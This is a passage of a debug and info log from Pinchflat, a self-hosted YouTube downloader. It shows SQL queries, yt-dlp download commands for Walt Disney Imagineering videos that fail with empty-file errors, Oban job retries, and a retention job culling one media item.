s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:28:32.957 [debug] QUERY OK source="settings" db=0.1ms idle=1434.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:28:32.958 [debug] QUERY OK source="settings" db=0.1ms idle=1434.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:28:32.958 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/13/66/136681f3ef16f3f39151a04e512e01a594e7186c25e8a60ce914e9584e1b39fa.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:28:50.191 [info] {"source":"oban","duration":716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:29:00.056 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:29:20.192 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:29:34.081 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/13/66/136681f3ef16f3f39151a04e512e01a594e7186c25e8a60ce914e9584e1b39fa.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 20:29:34.081 [error] yt-dlp download error for media item #12001: "ERROR: The downloaded file is empty\n" 20:29:34.082 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12001},"id":1735,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":66154108,"event":"job:exception","queue_time":353410,"attempt":12,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:29:50.193 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:30:00.057 [info] {"source":"oban","duration":205,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:30:20.194 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:30:50.195 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:31:00.058 [info] {"source":"oban","duration":374,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:31:20.196 [info] {"source":"oban","duration":716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:31:50.197 [info] {"source":"oban","duration":786,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:32:00.059 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:32:20.198 [info] {"source":"oban","duration":495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:32:50.199 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:33:00.060 [info] {"source":"oban","duration":245,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:33:20.200 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:33:50.201 [info] {"source":"oban","duration":776,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:34:00.061 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:34:20.202 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:34:38.332 [info] {"args":{"id":11511},"id":1736,"meta":{},"system_time":1775003678332345913,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":11,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:34:38.332 [debug] QUERY OK source="media_items" db=0.1ms idle=808.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [11511] 20:34:38.332 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:34:38.333 [debug] QUERY OK source="sources" db=0.1ms idle=809.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:34:38.333 [debug] QUERY OK source="media_profiles" db=0.2ms idle=809.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:34:38.334 [debug] QUERY OK source="media_items" db=0.2ms idle=8.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11511] 20:34:38.334 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [11511] 20:34:38.334 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:34:38.335 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:34:38.335 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:34:38.335 [debug] Running yt-dlp command for action: get_downloadable_status 20:34:38.335 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:34:38.336 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:34:38.336 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:34:38.336 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/06/a1/06a1f86ac285c8e9eb054449593d7cd03d110c34e5dfa886dc253633e2106ad7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:34:42.322 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/06/a1/06a1f86ac285c8e9eb054449593d7cd03d110c34e5dfa886dc253633e2106ad7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 20:34:42.322 [debug] Running yt-dlp command for action: download 20:34:42.323 [debug] QUERY OK source="settings" db=0.2ms idle=992.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:34:42.323 [debug] QUERY OK source="settings" db=0.1ms idle=799.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:34:42.323 [debug] QUERY OK source="settings" db=0.1ms idle=799.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:34:42.323 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/d7/7a/d77aec2c170456a1ecd957f5404d7b30761b495c3705fc10249be8a952855671.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:34:50.203 [info] {"source":"oban","duration":733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:35:00.062 [info] {"source":"oban","duration":194,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:35:20.204 [info] {"source":"oban","duration":746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:35:50.205 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:36:00.063 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:36:20.206 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:36:50.207 [info] {"source":"oban","duration":808,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:37:00.064 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:37:20.209 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:37:50.210 [info] {"source":"oban","duration":745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:38:00.065 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:38:20.211 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:38:50.212 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:39:00.066 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:39:20.213 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:39:42.274 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/d7/7a/d77aec2c170456a1ecd957f5404d7b30761b495c3705fc10249be8a952855671.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 20:39:42.274 [error] yt-dlp download error for media item #11511: "ERROR: The downloaded file is empty\n" 20:39:42.275 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":11511},"id":1736,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":303942593,"event":"job:exception","queue_time":43972,"attempt":11,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:39:50.214 [info] {"source":"oban","duration":883,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:40:00.067 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:40:20.216 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:40:50.217 [info] {"source":"oban","duration":788,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:41:00.068 [info] {"source":"oban","duration":183,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:41:20.219 [info] {"source":"oban","duration":803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:41:50.221 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:42:00.069 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:42:20.222 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:42:50.223 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:43:00.071 [info] {"source":"oban","duration":376,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:43:20.224 [info] {"source":"oban","duration":816,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:43:50.226 [info] {"source":"oban","duration":946,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:44:00.071 [info] {"source":"oban","duration":213,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:44:20.228 [info] {"source":"oban","duration":607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:44:50.229 [info] {"source":"oban","duration":880,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:45:00.072 [info] {"source":"oban","duration":239,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:45:20.231 [info] {"source":"oban","duration":787,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:45:50.233 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:46:00.073 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:46:20.234 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:46:50.235 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:47:00.074 [info] {"source":"oban","duration":239,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:47:20.236 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:47:50.237 [info] {"source":"oban","duration":523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:48:00.075 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:48:20.238 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:48:50.239 [info] {"source":"oban","duration":755,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:49:00.076 [info] {"source":"oban","duration":264,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:49:20.240 [info] {"source":"oban","duration":594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:49:50.241 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:50:00.077 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:50:20.242 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:50:50.243 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:51:00.078 [info] {"source":"oban","duration":161,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:51:20.244 [info] {"source":"oban","duration":766,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:51:50.245 [info] {"source":"oban","duration":594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:52:00.079 [info] {"source":"oban","duration":210,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:52:20.246 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:52:50.247 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:53:00.080 [info] {"source":"oban","duration":209,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:53:20.248 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:53:50.249 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:54:00.081 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:54:20.250 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:54:50.251 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:55:00.082 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:55:20.252 [info] {"source":"oban","duration":903,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:55:50.254 [info] {"source":"oban","duration":792,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:56:00.084 [info] {"source":"oban","duration":326,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:56:20.256 [info] {"source":"oban","duration":767,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:56:50.258 [info] {"source":"oban","duration":719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:57:00.084 [info] {"source":"oban","duration":262,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:57:20.259 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:57:50.260 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:58:00.085 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:58:20.261 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:58:50.262 [info] {"source":"oban","duration":835,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:59:00.087 [info] {"source":"oban","duration":326,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:59:20.264 [info] {"source":"oban","duration":738,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:59:50.266 [info] {"source":"oban","duration":748,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:00:00.088 [info] {"source":"oban","duration":1194,"event":"plugin:stop","jobs":[1738],"plugin":"Oban.Plugins.Cron"} 21:00:00.095 [info] {"args":{},"id":1738,"meta":{"cron":true,"cron_expr":"0 1 * * *","cron_tz":"Etc/UTC"},"system_time":1775005200095447013,"max_attempts":20,"queue":"local_data","worker":"Pinchflat.Downloading.MediaRetentionWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","local_data"]} 21:00:00.105 [debug] QUERY OK source="media_items" db=9.4ms idle=571.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" WHERE ((NOT (m0."media_filepath" IS NULL) AND IFNULL(retention_period_days, 0) > 0 AND DATETIME(media_downloaded_at, '+' || retention_period_days || ' day') < DATETIME('now') ) AND NOT (m0."prevent_culling" = 1)) [] 21:00:00.105 [info] Culling 1 media items past their retention date 21:00:00.105 [debug] QUERY OK source="tasks" db=0.1ms idle=581.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."media_item_id" = ?) AND (o1."state" IN (?,?,?,?,?,?,?)) [5927, "scheduled", "available", "executing", "retryable", "completed", "discarded", "cancelled"] 21:00:00.144 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:00:00.146 [debug] QUERY OK source="media_items" db=1.3ms idle=98.5ms UPDATE "media_items" SET "media_filepath" = ?, "prevent_download" = ?, "metadata_filepath" = ?, "thumbnail_filepath" = ?, "culled_at" = ?, "updated_at" = ? WHERE "id" = ? [nil, true, nil, nil, ~U[2026-04-01 01:00:00Z], ~U[2026-04-01 01:00:00Z], 5927] 21:00:00.149 [debug] QUERY OK source="media_items" db=3.1ms idle=57.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" WHERE ((NOT (m0."media_filepath" IS NULL) AND NOT ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND NOT (m0."prevent_culling" = 1)) [] 21:00:00.149 [info] Deleting 0 media items that are from before the source cutoff 21:00:00.150 [info] {"args":{},"id":1738,"meta":{"cron":true,"cron_expr":"0 1 * * *","cron_tz":"Etc/UTC"},"state":"success","max_attempts":20,"queue":"local_data","worker":"Pinchflat.Downloading.MediaRetentionWorker","source":"oban","duration":54282,"event":"job:stop","queue_time":94493,"attempt":1,"tags":["media_item","local_data"]} 21:00:20.268 [info] 